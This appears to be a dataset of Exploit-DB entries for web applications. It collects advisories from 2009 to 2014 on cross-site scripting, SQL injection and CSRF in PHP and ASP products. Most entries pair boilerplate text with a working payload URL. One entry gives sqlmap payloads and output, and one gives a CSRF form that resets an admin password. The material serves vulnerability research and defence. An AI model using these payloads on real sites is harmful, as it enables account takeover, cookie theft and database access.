QLWD/code_shield huggingface dataset:
标题: GejoSoft Image Hosting Community - Cross-Site Scripting EDB-ID: 34738 CVE: 2009-3858 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43486/info

GejoSoft Image Hosting Community is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/photos/tags/1<body+onload=alert(323052257059)>2009-07-20 URL: https://www.exploit-db.com/exploits/34738
标题: EZArticles - 'articles.php' Cross-Site Scripting EDB-ID: 34736 CVE: 2009-2586 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43483/info

EZArticles is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/ezarticles/articles_1/articles.php?id=6&title=1<script>alert(309558774901)</script> URL: https://www.exploit-db.com/exploits/34736
标题: MyWeight 1.0 - 'user_addfood.php?date' Cross-Site Scripting EDB-ID: 34740 CVE: 2009-3512 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43488/info

MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_addfood.php?date=1>"><ScRiPt %0A%0D>alert(316624303488)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34740
标题: MyWeight 1.0 - 'user_forgot_pwd_form.php?info' Cross-Site Scripting EDB-ID: 34741 CVE: 2009-3512 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43488/info
 
MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_forgot_pwd_form.php?info=1<script>alert(394944650346)</script> URL: https://www.exploit-db.com/exploits/34741
标题: YourFreeWorld Ultra Classifieds - 'listads.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34744 CVE: 2009-3539 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: www.securityfocus.com/bid/43490/info

Ultra Classifieds is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ultra Classifieds Pro is vulnerable; other versions may also be affected.

http://www.example.com/ultraclassifieds/listads.php?c=69&cn=apartments&sn=1>"><ScRiPt %0A%0D>alert(317944247288)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34744
标题: DragDropCart - 'productdetail.php?product' Cross-Site Scripting EDB-ID: 34735 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info
     
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/demo/productdetail.php?product=1>"><ScRiPt %0A%0D>alert(387540356725)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34735
标题: DragDropCart - 'search.php?search' Cross-Site Scripting EDB-ID: 34733 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info
   
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/demo/search.php?search=1<script>alert(308229169208)</script> URL: https://www.exploit-db.com/exploits/34733
标题: EZodiak - 'index.php' Cross-Site Scripting EDB-ID: 34737 CVE: 2009-4684 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43485/info

EZodiak is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/ezarticles/ezodiak/index.php?sign=1>"><ScRiPt %0A%0D>alert(309408771751)%3B</ScRiPt>&date=20090717 URL: https://www.exploit-db.com/exploits/34737
标题: DragDropCart - 'login.php?redirect' Cross-Site Scripting EDB-ID: 34734 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info
    
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/demo/login.php?redirect=1>"><ScRiPt %0A%0D>alert(381490124289)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34734
标题: DragDropCart - '/includes/ajax/getstate.php?prefix' Cross-Site Scripting EDB-ID: 34731 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info
 
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/demo/includes/ajax/getstate.php?country=1&prefix=1>"><ScRiPt %0A%0D>alert(712244301211)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34731
标题: DragDropCart - '/assets/js/ddcart.php?sid' Cross-Site Scripting EDB-ID: 34730 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info

DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/demo/assets/js/ddcart.php?sid=1<script>alert(649442730777)</script> URL: https://www.exploit-db.com/exploits/34730
标题: DragDropCart - 'index.php?search' Cross-Site Scripting EDB-ID: 34732 CVE: 2009-2587 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43478/info
  
DragDropCart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/demo/index.php?page=1&search=1>"><ScRiPt %0A%0D>alert(312759321896)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34732
标题: MyWeight 1.0 - 'user_login.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34742 CVE: 2009-3512 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43488/info
  
MyWeight is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
phplemon MyWeight 1.0 is vulnerable; others versions may be affected. 

http://www.example.com/user_login.php?info=1<script>alert(311454197400)</script>
http://www.example.com/user_login.php?info=7&return=1>\"><ScRiPt+%0A%0D>alert(390214587228)%3B<%2FScRiPt> URL: https://www.exploit-db.com/exploits/34742
标题: Freelancers - 'post_resume.php?jobid' Cross-Site Scripting EDB-ID: 34714 CVE: 2009-3593 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-17 漏洞利用脚本: source:  https://www.securityfocus.com/bid/43475/info
 
FreeWebScriptz Freelancer Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
FreeWebScriptz Freelancer Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/script/freelancer/post_resume.php?jobid= ADD THIS XSS: 1<script>alert(372848775668)</script> URL: https://www.exploit-db.com/exploits/34714
标题: AdQuick - 'account.php' Cross-Site Scripting EDB-ID: 34715 CVE: 2009-4686 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43477/info

AdQuick is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AdQuick 2.2.1 is vulnerable; others versions may be affected.

http://www.example.com/account.php?smw&red_url=1>"><ScRiPt %0A%0D>alert(322094267678)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34715
标题: Freelancers - 'placebid.php?id' Cross-Site Scripting EDB-ID: 34713 CVE: 2009-3593 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-17 漏洞利用脚本: source:  https://www.securityfocus.com/bid/43475/info

FreeWebScriptz Freelancer Script is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FreeWebScriptz Freelancer Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/script/freelancer/placebid.php?id= ADD THIS XSS: 1<script>alert(364298092082)</script> URL: https://www.exploit-db.com/exploits/34713
标题: Astrology - 'celebrities.php' Cross-Site Scripting EDB-ID: 34709 CVE: 2009-4685 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43470/info

Astrology is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/astrology/celebrities.php?month=01&day=1<ScRiPt %0A%0D>alert(309147116220)%3B</ScRiPt>
http://www.example.com/celebrities.php?month=01&day=1<ScRiPt %0A%0D>alert(309147116220)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34709
标题: ClassApps SelectSurvey.net - Multiple SQL Injections EDB-ID: 34722 CVE: 2014-6030 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-20 漏洞利用脚本: ##########
# Exploit Title: Multiple SQL Injection Vulnerabilities in SelectSurvey.net
# Google Dork: intitle:SelectSurvey
# Date: Sep 03 2014
# Vendor Homepage: https://www.classapps.com/
# Software Link: https://www.classapps.com/SelectSurveyNETOverview.asp
# Version: 4.124.004
# Tested on: Windows 2008 R2/SQL Server 2008
# CVE: 2014-6030
##########

Description
==========
SelectSurvey.net is a web-based survey application written in ASP.net
and C#. It is vulnerable to multiple SQL injection attacks, both
authenticated and unauthenticated. The authenticated vulnerability
resides within the file upload script, as the parameters are not
sanitized prior to being placed into the SQL query. ClassApps had
previously listed 'SQL injection protection' as a feature and did have
several functions in place to attempt to prevent such attacks but due to
using a "blacklisting" approach, it is possible to circumvent these
functions. These functions are used elsewhere throughout the application
to protect GET request variables but are not sufficient. Only this
specific version of the application has been tested but it is highly
likely these vulnerabilities exist within prior versions. It has not
been confirmed that these vulnerabilities are fixed. The vendor stated
that they would be fixed in this new release however, they do not allow
download of the code unless you are a customer so fixes have not been
verified.

Vulnerabilities
==========
Unauthenticated:
http[s]://<host>/survey/ReviewReadOnlySurvey.aspx?ResponseID=<num>&SurveyID=[SQLi]

Authenticated:
http[s]://<host>/survey/UploadImagePopupToDb.aspx?ResponseID=<num>&SurveyID=[SQLi]

sqlmap identified the following injection points:
---
Place: GET
Parameter: SurveyID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ResponseID=1&SurveyID=1' AND 4002=4002 AND 'dLur'='dLur

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ResponseID=1&SurveyID=1'; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ResponseID=1&SurveyID=1' WAITFOR DELAY '0:0:5'--
---
[14:01:39] [INFO] testing Microsoft SQL Server
[14:01:39] [INFO] confirming Microsoft SQL Server
[14:01:39] [INFO] the back-end DBMS is Microsoft SQL Server
[14:01:39] [INFO] fetching banner
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS operating system: Windows 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
    Jun 28 2012 08:36:30
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601:
Service Pack 1)
--- URL: https://www.exploit-db.com/exploits/34722
标题: Paypal Shopping Cart Script - 'index.php?cid' SQL Injection EDB-ID: 34711 CVE: 2009-4689 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43471/info
 
Paypal Shopping Cart Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/paypalshopping/index.php?cid=7%20union%20all%20select%201,2,3,version(),5,6,7--

http://www.example.com/paypalshopping/index.php?cid=1%20AND%201=null+union+select+1,2,3,version(),5,6,7-- URL: https://www.exploit-db.com/exploits/34711
标题: Livefyre LiveComments Plugin - Persistent Cross-Site Scripting EDB-ID: 34721 CVE: 2014-6420 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-20 漏洞利用脚本: Title : Stored XSS in Livefyre LiveComments Plugin
CVE : 2014-6420
Vendor Homepage : http://livefyre.com
Software Link : http://web.livefyre.com/streamhub/#liveComments
Version : v3.0
Author : Brij Kishore Mishra
Date : 03-Sept-2014
Tested On : Chrome 37, Ubuntu 14.04


Description :

This plugin requires user to be signed in via livefyre account to post
comments. Users have the option to upload pictures in comments. This
feature can be easily abused.

Using an intercepting proxy (e.g. Burp Suite), the name variable can be
edited to send an XSS payload while uploading a picture (payload used :
"><img src=x onerror=prompt(1337)>). When the comment is posted, the image
will be successfully uploaded, which leads to XSS due to an unsanitized
field. URL: https://www.exploit-db.com/exploits/34721
标题: Paypal Shopping Cart Script - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34710 CVE: 2009-4688 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43471/info

Paypal Shopping Cart Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/paypalshopping/index.php?cid="><script>alert(document.cookie);</script>

http://www.example.com/paypalshopping/index.php?txtkeywords=%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E&cmdSearch=Search URL: https://www.exploit-db.com/exploits/34710
标题: M/Monit 3.3.2 - Cross-Site Request Forgery EDB-ID: 34718 CVE: 2014-6409 2014-6607 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-20 漏洞利用脚本: Vulnerability title: M/Monit CSRF Author: Dolev Farhi Contact: dolevf at 
openflare dot com @dolevff Application: M/Monit 3.2.2 Date: 13.9.2014 
Relevant CVEs: N/A Vulnerable version: <= 3.2.2 Fixed version: N/A 1. 
About the application ------------------------ Easy, proactive 
monitoring of Unix systems, network and cloud services. Conduct 
automatic maintenance and recovery and execute meaningful causal actions 
in error situations M/Monit expand on Monit's capabilities and provides 
monitoring and management of all your Monit enabled hosts via a modern, 
clean and well designed user interface which also works on mobile 
devices. 2. Vulnerabilities Descriptions: ----------------------------- 
It was found that M/Monit latest version is vulnerable to CSRF attacks. 
it is possible to reset the password of any user account (admin/regular) 
on the system without needing to know the current set password for the 
attacked account. 3. Proof of concept exploit 
---------------------------- <html> <! -- CSRF PoC for M/Monit --> <div 
align="center"> <pre> <h2><b>    CSRF PoC for M/monit    <b></h2> <body> 
<form action="http://mmonit_server:8080/admin/users/update" 
method="POST"> <input type="hidden" name="fullname" 
value="Administrator" /> <input type="hidden" name="password" 
value="Attacker_Passw0rd" /> <input type="hidden" name="email" 
value="attacker@email.com" /> <input type="hidden" name="admin" 
value="on" /> <input type="hidden" name="uname" value="admin" /> <input 
type="submit" name="submit" value="Attack" />  </form>  </body> </div> 
</html> URL: https://www.exploit-db.com/exploits/34718
标题: Freewebscriptz HUBScript - 'single_winner1.php' Cross-Site Scripting EDB-ID: 34712 CVE: 2009-3599 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/43474/info

HUBScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

FreeWebScriptz HUBScript V1 is vulnerable; other versions may also be affected. 

http://www.example.com/hubscript/demo/single_winner1.php?bid_id= XSS TO ADD: 1<script>alert(412798982398)</script> URL: https://www.exploit-db.com/exploits/34712
标题: WebStatCaffe - '/stat/mostvisitpagechart.php?nopagesmost' Cross-Site Scripting EDB-ID: 34676 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info
  
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/webstat/stat/pageviewerschart.php?date=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34676
标题: WebStatCaffe - '/stat/pageviewers.php?date' Cross-Site Scripting EDB-ID: 34677 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info
   
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/webstat/stat/pageviewers.php?date=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34677
标题: Smart ASP Survey - 'catid' SQL Injection EDB-ID: 34687 CVE: 2009-2776 类型: WEBAPPS 平台: ASP 发布日期: 2009-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/43370/info

Smart ASP Survey is prone to a SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting the vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/poll/showresult.asp?catid=[sqli] URL: https://www.exploit-db.com/exploits/34687